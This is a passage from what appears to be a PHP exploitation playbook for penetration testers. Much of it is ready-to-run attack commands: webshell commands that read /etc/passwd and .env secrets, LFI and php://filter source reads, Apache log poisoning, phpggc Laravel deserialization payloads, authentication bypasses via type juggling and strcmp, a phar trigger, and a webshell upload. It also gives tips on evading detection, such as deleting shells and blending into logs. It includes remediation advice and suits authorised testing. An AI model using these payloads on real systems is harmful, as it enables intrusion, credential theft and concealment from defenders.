# 5. Delete webshells immediately after use
curl "$TARGET/shell.php?c=rm+/var/www/html/uploads/shell.php"

# 6. Rotate payload delivery — use different parameters, vary User-Agent
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  $TARGET/vulnerable.php?cmd=id

# 7. Test from redirected/proxied IP if engagement allows
# Use Burp as proxy: --proxy http://127.0.0.1:8080

# 8. Time attacks during high-traffic periods to blend into logs

# 9. For deserialization — use fast-destruct to minimize exception traces
./phpggc -f -b Laravel/RCE6 system 'id'
```

### Signs You've Been Detected

- WAF 403/406 responses after payload delivery
- Rate limiting (429) on parameter fuzzing
- Your IP blocked mid-engagement
- PHP error page changes (errors suppressed suddenly)
- IDS alert — SOC contacts engagement lead

---

## 10. Output and Documentation

### Evidence Collection Template

```bash
#!/bin/bash
# Run this immediately after achieving RCE

OUTDIR="./evidence/php-exploit-$(date +%Y%m%d-%H%M%S)"
mkdir -p $OUTDIR

# Basic system info
curl "$TARGET/shell.php?c=id" > $OUTDIR/01-id.txt
curl "$TARGET/shell.php?c=hostname" > $OUTDIR/02-hostname.txt
curl "$TARGET/shell.php?c=uname+-a" > $OUTDIR/03-uname.txt
curl "$TARGET/shell.php?c=cat+/etc/passwd" > $OUTDIR/04-passwd.txt
curl "$TARGET/shell.php?c=ip+a" > $OUTDIR/05-network.txt
curl "$TARGET/shell.php?c=ps+aux" > $OUTDIR/06-processes.txt
curl "$TARGET/shell.php?c=cat+/var/www/html/.env" > $OUTDIR/07-env.txt
curl "$TARGET/shell.php?c=find+/var/www+-name+config.php" > $OUTDIR/08-configs.txt

echo "Evidence collected in $OUTDIR"
```

### Finding Report Fields

```
FINDING: PHP Remote Code Execution via [Technique]
SEVERITY: Critical
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

AFFECTED ENDPOINT: POST /api/restore-session
AFFECTED PARAMETER: token (PHP deserialized object)
PHP VERSION: 7.4.x
FRAMEWORK: Laravel 8.x

PROOF OF CONCEPT:
  Command: ./phpggc -b Laravel/RCE6 system 'id'
  Delivery: curl -d "token=<PAYLOAD>" http://target.com/api/restore-session
  Result: uid=33(www-data) gid=33(www-data) groups=33(www-data)

SCREENSHOT/LOG: [attach evidence files]

REMEDIATION:
  - Replace unserialize() with json_decode() for user-supplied data
  - If deserialization required: implement HMAC signature verification
  - Update framework and dependencies to latest versions
  - Disable dangerous PHP functions: disable_functions=exec,system,passthru,shell_exec,proc_open,popen
  - Enable open_basedir restriction
```

### Note-Taking During Engagement

```bash
# Log all commands with timestamps
script -f /tmp/php_exploit_$(date +%Y%m%d).log

# Keep a quick findings file
cat >> findings.md << EOF
## PHP Exploit - $(date)
- Target: $TARGET
- Technique: 
- Parameter: 
- Payload: 
- Result: 
- Evidence: 
EOF
```

---

## 11. Resources and GitHub URLs

### Core Tools

| Tool | URL | Use Case |
|------|-----|----------|
| phpggc | https://github.com/ambionics/phpggc | PHP gadget chains for deserialization |
| php_filter_chain_generator | https://github.com/synacktiv/php_filter_chain_generator | LFI to RCE without file write |
| pwncat-cs | https://github.com/calebstewart/pwncat | Reverse shell handler + post-exploitation |
| weevely | https://github.com/epinna/weevely3 | Encrypted PHP webshell management |
| PayloadsAllTheThings | https://github.com/swisskyrepo/PayloadsAllTheThings | Payload repository for all techniques |
| SecLists | https://github.com/danielmiessler/SecLists | Wordlists for fuzzing |

### Technique-Specific References

| Resource | URL |
|----------|-----|
| PHP Filter Chain Research (Synacktiv) | https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it |
| PHP Object Injection (OWASP) | https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection |
| PHP Type Juggling (PentesterLab) | https://pentesterlab.com/exercises/php_type_juggling |
| Magic Hashes Table | https://github.com/spaze/hashes |
| LFI to RCE Techniques | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion |
| Phar Deserialization Research | https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf |
| WordPress Gadget Chains | https://github.com/ambionics/phpggc/tree/master/gadgetchains/WordPress |
| PHPGGC Chain Development Guide | https://github.com/ambionics/phpggc/blob/master/CONTRIBUTING.md |

### CVE References for Framework Vulnerabilities

```
CVE-2018-15133  — Laravel RCE via APP_KEY deserialization
CVE-2019-9081   — Laravel RCE via Illuminate Queue
CVE-2021-21424  — Symfony RCE via unserialize
CVE-2019-6339   — Drupal RCE via PHAR deserialization
CVE-2014-4942   — WordPress object injection via widget settings
CVE-2020-8840   — Jackson (Java, but concept applies) deserialization RCE
SA-CORE-2019-003 — Drupal core deserialization (highly weaponized)
```

### PHP INI Settings That Enable/Restrict Attacks

```ini
; Enables RFI attacks:
allow_url_include = On        ; Required for http:// and ftp:// in include()
allow_url_fopen = On          ; Required for file_get_contents() with URLs

; Restricts RCE potential:
disable_functions = exec,system,shell_exec,passthru,proc_open,popen,pcntl_exec
open_basedir = /var/www/html  ; Restricts file access to this path
expose_php = Off              ; Hides PHP version from headers

; Check these in phpinfo() or php.ini leakage:
; If allow_url_include = On → RFI is possible
; If disable_functions is empty → full RCE via system(), exec(), etc.
; If open_basedir is empty → unrestricted LFI traversal
```

### Quick Cheatsheet

```bash
# LFI confirm
curl "$TARGET/?page=../../../../etc/passwd"

# Source read via filter
curl "$TARGET/?page=php://filter/convert.base64-encode/resource=config.php" | base64 -d

# Filter chain RCE
python3 ~/tools/php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

# phpggc payload
./phpggc -b Laravel/RCE6 system 'id'

# Log poison (Apache)
curl -A '<?php system($_GET["c"]); ?>' $TARGET/
curl "$TARGET/?page=/var/log/apache2/access.log&c=id"

# Type juggling bypass
curl -d "pass=240610708" $TARGET/login.php

# strcmp bypass
curl -d "pass[]=x" $TARGET/login.php

# Phar trigger
curl "$TARGET/?file=phar:///var/www/html/uploads/evil.jpg"

# Webshell quickdeploy
echo '<?php system($_GET["c"]); ?>' > s.php
curl -F "file=@s.php" $TARGET/upload
curl "$TARGET/uploads/s.php?c=id"
```
